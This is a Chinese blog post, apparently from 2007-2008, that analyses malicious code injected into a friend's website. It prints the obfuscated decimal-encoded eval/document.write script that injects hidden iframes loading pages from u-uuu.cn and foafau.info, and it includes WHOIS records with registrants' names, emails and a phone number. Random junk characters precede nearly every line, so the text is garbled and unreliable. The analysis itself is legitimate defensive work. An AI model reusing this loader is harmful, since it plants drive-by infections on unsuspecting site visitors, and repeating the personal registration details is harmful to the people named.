首发在我的博客里面，
n#F:(MSOp O}Y& @V%4k http://www.areway.cn/?p=175 VKI`@rY4 @w?y;W!a> _ISIq3A? 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
`;?`X C"m WvV!F?uqZ <script>t=’60,105,102,114,97,109,101,
IGKF&s*;{[ 32,115,114,99,61,104,116,116,112,58,47,47,
8_yhV { 102,114,101,101,46,117,45,117,117,117,46,99,
W dM?{;
# 110,47,101,114,114,111,114,46,104,116,109,
H{ Fww4pn 32,119,105,100,116,104,61,49,48,48,32,104,
^! ?w h 101,105,103,104,116,61,48,62,60,47,105,102,
ma__LWKM, 114,97,109,101,62′;
ces|HPBa&6 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
:Kc9k(3&r l_ Ee us <script>t=’60,105,102,114,97,109,101,32,115,
;8!L*uMI 114,99,61,104,116,116,112,58,47,47,102,114,
(yh zjN~ 101,101,46,117,45,117,117,117,46,99,110,47,
g9N_s,3jC 101,114,114,111,114,46,104,116,109,32,119,
oT=XCa5 105,100,116,104,61,49,48,48,32,104,101,105,
x6- bAf 103,104,116,61,48,62,60,47,105,102,114,97,
~!bA<q 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
' 3h"Ol{b document.write(t);</script>
/XfE6SBz rd#O ] <html xmlns=”
o5k7$0:t/ http://www.w3.org/1999/xhtml hq.XO=0" k “>
M$@Do nx <head>
o*\Fj}l- <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
QzV
Q} <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
VV'K$v3'N8 <title>首页 - 爱生活家庭网
x=Ef0v ?g7O([*[ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
E@ux EF 转换字符串后的大概内容是（谁点击后果自付）：
iLd_{ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
2<"kfa n J0%e6{C1 查询玉米u-uuu.cn的详细信息：
#* KmPc+ Domain Name: u-uuu.cn
Ze?(N~ ROID: 20070901s10001s64972306-cn
1?!z<< Domain Status: ok
gHL v zm Registrant Organization: 王雷
o \r6 iO Registrant Name: 王雷
^)\z Administrative Email:
czlovexs@126.com S .i CkX Sponsoring Registrar: 北京万网志成科技有限公司
*Fb|iR Name Server:ns.yovole.com
3b9SyU2 Name Server:ns1.yovole.com
k; )t}7(
Registration Date: 2007-09-01 17:54
PG@Uygahu Expiration Date: 2008-09-01 17:54
Y*}xD;c
k 最后PING了一下地址 都没有什么….
G]DSwtB?D vh29mzum 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
ONc-jU^ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Qv v~nGq$ <script language=”javascript” src=”
Aw7oyC! http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script hXF#KVqx >
cN]e {| 这个玉米应该有可能是木马作者的：
_s( izc foafau.info的详细信息：
k|kn#X3X Access to INFO WHOIS information is provided to assist persons in
A9:dHOmT^U determining the contents of a domain name registration record in the
!Z0p94L Afilias registry database. The data in this record is provided by
iS/fa Xe5 Afilias Limited for informational purposes only, and Afilias does not
f_{O U
E guarantee its accuracy. This service is intended only for query-based
vC j, aSW access. You agree that you will use this data only for lawful purposes
R WfC2$z and that, under no circumstances will you use this data to: (a) allow,
\DDR l{ enable, or otherwise support the transmission by e-mail, telephone, or
p|q } z / facsimile of mass unsolicited, commercial advertising or solicitations
CVa?L"lK to entities other than the data recipient’s own existing customers; or
U&PwEh4uG (b) enable high volume, automated, electronic processes that send
U /p|X) queries or data to the systems of Registry Operator, a Registrar, or
ke~S[ bL%- Afilias except as reasonably necessary to register domain names or
# Vq"Cf modify existing registrations. All rights reserved. Afilias reserves
o?T01t= the right to modify these terms at any time. By submitting this query,
7ThGF you agree to abide by this policy.
L5w rc4 Domain ID:D22418703-LRMS
szZ8-Y Domain Name:FOAFAU.INFO
7QnQ=gu Created On:20-Nov-2007 16:05:42 UTC
@U)k~z2Hk Last Updated On:20-Nov-2007 16:05:44 UTC
,o?yS>L_r Expiration Date:20-Nov-2008 16:05:42 UTC
O /S: S Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
czp .q Status:CLIENT DELETE PROHIBITED
K1*oYH B Status:CLIENT RENEW PROHIBITED
1kDr;.m% Status:CLIENT TRANSFER PROHIBITED
{(00,6M)i Status:CLIENT UPDATE PROHIBITED
h3udS{9 '8 Status:TRANSFER PROHIBITED
\os iY ^ Registrant ID:GODA-040110615
5:T)h oF@ Registrant Name:liu hong
<0%X:q< Registrant Organization:
94H s.S) Registrant Street1:beijing
"{1SDbwmMo Registrant Street2:
$t1XoL Registrant Street3:
Z` ;.62S Registrant City:beijing
6Z:swgi6& Registrant State/Province:
ue/GB+U Registrant Postal Code:100000
:)P Aj Registrant Country:CN
D=!e6E<>@ Registrant Phone:+86.860108888777
jdEqa$CX G Registrant Phone Ext.:
_7k6hV Q Registrant FAX:
-_4ZT^.Lna Registrant FAX Ext.:
M8,_E\* Registrant Email:bbbshiji@163.com
.5ItH^ Admin ID:GODA-240110615
s{30#^1R Admin Name:liu hong
S1`;2mAf* Admin Organization:
2)W~7G ED Admin Street1:beijing
}B R@vY'd Admin Street2:
bAd$
>DI[ Admin Street3:
Ie<`WU K Admin City:beijing
p%?VW Admin State/Province:
/&T"w,D Admin Postal Code:100000
vz^w %67& Admin Country:CN
)ld !(d= Admin Phone:+86.860108888777
Gv$}>YJ Admin Phone Ext.:
:SUU)jLq Admin FAX:
/4 Q^L>a Admin FAX Ext.:
~A X@o-WU Admin Email:bbbshiji@163.com
6q8b>LG| Billing ID:GODA-340110615
u#>*"4Q Billing Name:liu hong
%K$f2): Billing Organization:
YtWO=+rX Billing Street1:beijing
;FI"N@z Billing Street2:
*p OdM0A E Billing Street3:
|V>_l'
/ Billing City:beijing
kpQXnDm 2 Billing State/Province:
!K0:0: Billing Postal Code:100000
zH T22o56X Billing Country:CN
SFaG`T= Billing Phone:+86.860108888777
i_KAD U&mP Billing Phone Ext.:
4uS C> Billing FAX:
.w@o%AO_ Billing FAX Ext.:
dh;
L! Billing Email:bbbshiji@163.com
B0&W wa: Tech ID:GODA-140110615
/Ayo78Pi Tech Name:liu hong
< q dM Tech Organization:
{dk%j ~w8 Tech Street1:beijing
I8%2tLVY Tech Street2:
q\xT Tech Street3:
[o g_0; Tech City:beijing
p^yuz ( Tech State/Province:
"j<l=l ! Tech Postal Code:100000
ahnQq9 Tech Country:CN
Ck ;>9> Tech Phone:+86.860108888777
O:hCUr Tech Phone Ext.:
RqenPM k Tech FAX:
~$@~X*K~ Tech FAX Ext.:
<)J83D0$E Tech Email:bbbshiji@163.com
b-Q%c xJ Name Server:NS27.DOMAINCONTROL.COM
/xu#ZZ?8F_ Name Server:NS28.DOMAINCONTROL.COM
1X7tN2tQ Name Server:
7: cm BkXm Name Server:
th 9I]g^=t Name Server:
C@$!'^ 61 Name Server:
~dpU D F Name Server:
7w_cKR1; Name Server:
bL)7 /E Name Server:
T`?{Is['( Name Server:
V7pe|]%r Name Server:
{~lVe GBp Name Server:
6')pM&`t Name Server:
XLeQxp= L +rMBa 接着下载每个文件里面的代码：
Z W VN(U 一步一步看..
(8$; 4 q[! 
a#_=c>h; 
4)zHkN+ 
HLa3lUo 
SBNeN] 
&.ENcEic 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
